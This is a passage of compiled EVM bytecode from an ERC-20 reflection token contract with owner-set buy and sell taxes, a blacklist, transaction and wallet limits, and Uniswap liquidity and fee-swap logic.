ff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f74f50aea913687e4cf944d86731818ec3e28eba93a30f2a13561b43134eb843c601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516114ca91906147b8565b60405180910390a150565b601a5481565b60006009905090565b6114ec6128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090614a59565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b6281604051611600919061479d565b60405180910390a150565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116726128b2565b73ffffffffffffffffffffffffffffffffffffffff161461169257600080fd5b600061169d306118ab565b90506116a881613406565b50565b60066020528060005260406000206000915054906101000a900460ff1681565b6116d36128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175790614a59565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6117c36128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184790614a59565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006118f5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613398565b9050919050565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60195481565b60606040518060400160405280600281526020017f4643000000000000000000000000000000000000000000000000000000000000815250905090565b6119766128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa90614a59565b60405180910390fd5b80601a8190555050565b611a156128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9990614a59565b60405180910390fd5b83600c8190555081600d8190555082600e8190555080600f819055506019600d54600c54611ad09190614ccf565b1115611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0890614b59565b60405180910390fd5b6019600f54600e54611b239190614ccf565b1115611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90614b59565b60405180910390fd5b50505050565b6000611b7e611b776128b2565b8484612a85565b6001905092915050565b601760169054906101000a900460ff1681565b600b6020528060005260406000206000915054906101000a900460ff1681565b611bc36128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4790614a59565b60405180910390fd5b601760169054906101000a900460ff1615611ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9790614af9565b60405180910390fd5b611ca8613700565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611d3930601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006128ba565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611d7f57600080fd5b505afa158015611d93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611db79190614117565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e1957600080fd5b505afa158015611e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e519190614117565b6040518363ffffffff1660e01b8152600401611e6e9291906147ee565b602060405180830381600087803b158015611e8857600080fd5b505af1158015611e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ec09190614117565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611f49306118ab565b600080611f54611902565b426040518863ffffffff1660e01b8152600401611f7696959493929190614840565b6060604051808303818588803b158015611f8f57600080fd5b505af1158015611fa3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fc891906142d6565b5050506001601760156101000a81548160ff021916908315150217905550601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612085929190614817565b602060405180830381600087803b15801561209f57600080fd5b505af11580156120b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120d79190614284565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61216a6128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ee90614a59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612289576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228090614919565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f4aeacdf11926d26257f8e9ea6e9091947978ac978705e15835bf04f21f4fa69b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516123af91906147b8565b60405180910390a150565b6123c26128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461244f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244690614a59565b60405180910390fd5b8060198190555050565b6124616128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e590614a59565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f4f6a6b6efe34ec6478021aa9fb7f6980e78ea3a10c74074a8ce49d5d3ebf1f7e81604051612575919061479d565b60405180910390a150565b6125886128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90614a59565b60405180910390fd5b8060188190555050565b6126276128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ab90614a59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271b90614979565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166128226128b2565b73ffffffffffffffffffffffffffffffffffffffff1614806128985750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166128806128b2565b73ffffffffffffffffffffffffffffffffffffffff16145b6128a157600080fd5b60004790506128af816137b2565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561292a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292190614ad9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561299a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161299190614999565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a789190614b99565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aec90614a99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5c906148f9565b60405180910390fd5b60008111612ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9f90614a79565b60405180910390fd5b612bb0611902565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612c1e5750612bee611902565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612f9c57601760169054906101000a900460ff16612ebf57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612ce35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d395750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ebe5760195481612d4b846118ab565b612d559190614ccf565b10612d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8c90614ab9565b60405180910390fd5b601854811115612dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd190614959565b60405180910390fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612e7e5750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb4906149b9565b60405180910390fd5b5b5b6000612eca306118ab565b90506000601a5482101590506018548210612ee55760185491505b808015612eff5750601760149054906101000a900460ff16155b8015612f595750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015612f715750601760159054906101000a900460ff165b15612f9957612f7f82613406565b60004790506000811115612f9757612f96476137b2565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130435750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806130f65750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156130f55750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156131045760009050613322565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156131af5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156131c757600c54601081905550600d546011819055505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661325e5760185482111561325d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161325490614a19565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156133095750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561332157600e54601081905550600f546011819055505b5b61332e848484846138ad565b50505050565b600083831115829061337c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161337391906148d7565b60405180910390fd5b506000838561338b9190614db0565b9050809150509392505050565b60006009548211156133df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d690614939565b60405180910390fd5b60006133e96138da565b90506133fe818461390590919063ffffffff16565b915050919050565b6001601760146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613464577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156134925781602001602082028036833780820191505090505b50905030816000815181106134d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561357257600080fd5b505afa158015613586573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135aa9190614117565b816001815181106135e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061364b30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128ba565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016136af959493929190614bb4565b600060405180830381600087803b1580156136c957600080fd5b505af11580156136dd573d6000803e3d6000fd5b50505050506000601760146101000a81548160ff02191690831515021790555050565b6137086128b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161378c90614a59565b60405180910390fd5b6001601760166101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61380260028461390590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561382d573d6000803e3d6000fd5b50601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61387e60028461390590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156138a9573d6000803e3d6000fd5b5050565b806138bb576138ba61394f565b5b6138c6848484613992565b806138d4576138d3613b5d565b5b50505050565b60008060006138e7613b71565b915091506138fe818361390590919063ffffffff16565b9250505090565b600061394783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613bd6565b905092915050565b600060105414801561396357506000601154145b1561396d57613990565b601054601281905550601154601381905550600060108190555060006011819055505b565b6000806000806000806139a487613c39565b955095509550955095509550613a0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ca190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ceb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ae381613d49565b613aed8483613e06565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051613b4a9190614b99565b60405180910390a3505050505050505050565b601254601081905550601354601181905550565b60008060006009549050600069d3c21bcecceda10000009050613ba969d3c21bcecceda100000060095461390590919063ffffffff16565b821015613bc95760095469d3c21bcecceda1000000935093505050613bd2565b81819350935050505b9091565b60008083118290613c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c1491906148d7565b60405180910390fd5b5060008385613c2c9190614d25565b9050809150509392505050565b6000806000806000806000806000613c568a601054601154613e40565b9250925092506000613c666138da565b90506000806000613c798e878787613ed6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613ce383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613334565b905092915050565b6000808284613cfa9190614ccf565b905083811015613d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d36906149d9565b60405180910390fd5b8091505092915050565b6000613d536138da565b90506000613d6a8284613f5f90919063ffffffff16565b9050613dbe81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ceb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613e1b82600954613ca190919063ffffffff16565b600981905550613e3681600a54613ceb90919063ffffffff16565b600a819055505050565b600080600080613e6c6064613e5e888a613f5f90919063ffffffff16565b61390590919063ffffffff16565b90506000613e966064613e88888b613f5f90919063ffffffff16565b61390590919063ffffffff16565b90506000613ebf82613eb1858c613ca190919063ffffffff16565b613ca190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613eef8589613f5f90919063ffffffff16565b90506000613f068689613f5f90919063ffffffff16565b90506000613f1d8789613f5f90919063ffffffff16565b90506000613f4682613f388587613ca190919063ffffffff16565b613ca190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415613f725760009050613fd4565b60008284613f809190614d56565b9050828482613f8f9190614d25565b14613fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613fc690614a39565b60405180910390fd5b809150505b92915050565b6000613fed613fe884614c4e565b614c29565b9050808382526020820190508285602086028201111561400c57600080fd5b60005b8581101561403c57816140228882614046565b84526020840193506020830192505060018101905061400f565b5050509392505050565b60008135905061405581615573565b92915050565b60008151905061406a81615573565b92915050565b600082601f83011261408157600080fd5b8135614091848260208601613fda565b91505092915050565b6000813590506140a98161558a565b92915050565b6000815190506140be8161558a565b92915050565b6000813590506140d3816155a1565b92915050565b6000815190506140e8816155a1565b92915050565b60006020828403121561410057600080fd5b600061410e84828501614046565b91505092915050565b60006020828403121561412957600080fd5b60006141378482850161405b565b91505092915050565b6000806040838503121561415357600080fd5b600061416185828601614046565b925050602061417285828601614046565b9150509250929050565b60008060006060848603121561419157600080fd5b600061419f86828701614046565b93505060206141b086828701614046565b92505060406141c1868287016140c4565b9150509250925092565b600080604083850312156141de57600080fd5b60006141ec85828601614046565b92505060206141fd8582860161409a565b9150509250929050565b6000806040838503121561421a57600080fd5b600061422885828601614046565b9250506020614239858286016140c4565b9150509250929050565b60006020828403121561425557600080fd5b600082013567ffffffffffffffff81111561426f57600080fd5b61427b84828501614070565b91505092915050565b60006020828403121561429657600080fd5b60006142a4848285016140af565b91505092915050565b6000602082840312156142bf57600080fd5b60006142cd848285016140c4565b91505092915050565b6000806000606084860312156142eb57600080fd5b60006142f9868287016140d9565b935050602061430a868287016140d9565b925050604061431b868287016140d9565b9150509250925092565b6000806000806080858703121561433b57600080fd5b6000614349878288016140c4565b945050602061435a878288016140c4565b935050604061436b878288016140c4565b925050606061437c878288016140c4565b91505092959194509250565b600061439483836143be565b60208301905092915050565b6143a981614e4b565b82525050565b6143b881614df6565b82525050565b6143c781614de4565b82525050565b6143d681614de4565b82525050565b60006143e782614c8a565b6143f18185614cad565b93506143fc83614c7a565b8060005b8381101561442d5781516144148882614388565b975061441f83614ca0565b925050600181019050614400565b5085935050505092915050565b61444381614e08565b82525050565b61445281614e5d565b82525050565b61446181614e81565b82525050565b600061447282614c95565b61447c8185614cbe565b935061448c818560208601614eb7565b61449581614ff1565b840191505092915050565b60006144ad602383614cbe565b91506144b882615002565b604082019050919050565b60006144d0601883614cbe565b91506144db82615051565b602082019050919050565b60006144f3602a83614cbe565b91506144fe8261507a565b604082019050919050565b6000614516601c83614cbe565b9150614521826150c9565b602082019050919050565b6000614539602683614cbe565b9150614544826150f2565b604082019050919050565b600061455c602283614cbe565b915061456782615141565b604082019050919050565b600061457f602383614cbe565b915061458a82615190565b604082019050919050565b60006145a2601b83614cbe565b91506145ad826151df565b602082019050919050565b60006145c5601b83614cbe565b91506145d082615208565b602082019050919050565b60006145e8603683614cbe565b91506145f382615231565b604082019050919050565b600061460b602183614cbe565b915061461682615280565b604082019050919050565b600061462e602083614cbe565b9150614639826152cf565b602082019050919050565b6000614651602983614cbe565b915061465c826152f8565b604082019050919050565b6000614674602583614cbe565b915061467f82615347565b604082019050919050565b6000614697602383614cbe565b91506146a282615396565b604082019050919050565b60006146ba602483614cbe565b91506146c5826153e5565b604082019050919050565b60006146dd601783614cbe565b91506146e882615434565b602082019050919050565b6000614700602783614cbe565b915061470b8261545d565b604082019050919050565b6000614723604d83614cbe565b915061472e826154ac565b606082019050919050565b6000614746601d83614cbe565b915061475182615521565b602082019050919050565b6000614769601783614cbe565b91506147748261554a565b602082019050919050565b61478881614e34565b82525050565b61479781614e3e565b82525050565b60006020820190506147b260008301846143cd565b92915050565b60006020820190506147cd60008301846143a0565b92915050565b60006020820190506147e860008301846143af565b92915050565b600060408201905061480360008301856143cd565b61481060208301846143cd565b9392505050565b600060408201905061482c60008301856143cd565b614839602083018461477f565b9392505050565b600060c08201905061485560008301896143cd565b614862602083018861477f565b61486f6040830187614458565b61487c6060830186614458565b61488960808301856143cd565b61489660a083018461477f565b979650505050505050565b60006020820190506148b6600083018461443a565b92915050565b60006020820190506148d16000830184614449565b92915050565b600060208201905081810360008301526148f18184614467565b905092915050565b60006020820190508181036000830152614912816144a0565b9050919050565b60006020820190508181036000830152614932816144c3565b9050919050565b60006020820190508181036000830152614952816144e6565b9050919050565b6000602082019050818103600083015261497281614509565b9050919050565b600060208201905081810360008301526149928161452c565b9050919050565b600060208201905081810360008301526149b28161454f565b9050919050565b600060208201905081810360008301526149d281614572565b9050919050565b600060208201905081810360008301526149f281614595565b9050919050565b60006020820190508181036000830152614a12816145b8565b9050919050565b60006020820190508181036000830152614a32816145db565b9050919050565b60006020820190508181036000830152614a52816145fe565b9050919050565b60006020820190508181036000830152614a7281614621565b9050919050565b60006020820190508181036000830152614a9281614644565b9050919050565b60006020820190508181036000830152614ab281614667565b9050919050565b60006020820190508181036000830152614ad28161468a565b9050919050565b60006020820190508181036000830152614af2816146ad565b9050919050565b60006020820190508181036000830152614b12816146d0565b9050919050565b60006020820190508181036000830152614b32816146f3565b9050919050565b60006020820190508181036000830152614b5281614716565b9050919050565b60006020820190508181036000830152614b7281614739565b9050919050565b60006020820190508181036000830152614b928161475c565b9050919050565b6000602082019050614bae600083018461477f565b92915050565b600060a082019050614bc9600083018861477f565b614bd66020830187614458565b8181036040830152614be881866143dc565b9050614bf760608301856143cd565b614c04608083018461477f565b9695505050505050565b6000602082019050614c23600083018461478e565b92915050565b6000614c33614c44565b9050614c3f8282614eea565b919050565b6000604051905090565b600067ffffffffffffffff821115614c6957614c68614fc2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614cda82614e34565b9150614ce583614e34565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614d1a57614d19614f64565b5b828201905092915050565b6000614d3082614e34565b9150614d3b83614e34565b925082614d4b57614d4a614f93565b5b828204905092915050565b6000614d6182614e34565b9150614d6c83614e34565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614da557614da4614f64565b5b828202905092915050565b6000614dbb82614e34565b9150614dc683614e34565b925082821015614dd957614dd8614f64565b5b828203905092915050565b6000614def82614e14565b9050919050565b6000614e0182614e14565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614e5682614e93565b9050919050565b6000614e6882614e6f565b9050919050565b6000614e7a82614e14565b9050919050565b6000614e8c82614e34565b9050919050565b6000614e9e82614ea5565b9050919050565b6000614eb082614e14565b9050919050565b60005b83811015614ed5578082015181840152602081019050614eba565b83811115614ee4576000848401525b50505050565b614ef382614ff1565b810181811067ffffffffffffffff82111715614f1257614f11614fc2565b5b80604052505050565b6000614f2682614e34565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614f5957614f58614f64565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5f6d6b7467416464726573732063616e6e6f7420626520300000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4163636f756e74206973206e6f74206578636c756465642066726f6d2072656660008201527f6c656374696f6e00000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f74206578636c756465206d6f7265207468616e203530206163636f60008201527f756e74732e2020496e636c75646520612070726576696f75736c79206578636c60208201527f7564656420616464726573732e00000000000000000000000000000000000000604082015250565b7f4d757374206b656570206275792074617865732062656c6f7720323525000000600082015250565b7f5f6d6763416464726573732063616e6e6f742062652030000000000000000000600082015250565b61557c81614de4565b811461558757600080fd5b50565b61559381614e08565b811461559e57600080fd5b50565b6155aa81614e34565b81146155b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6ad4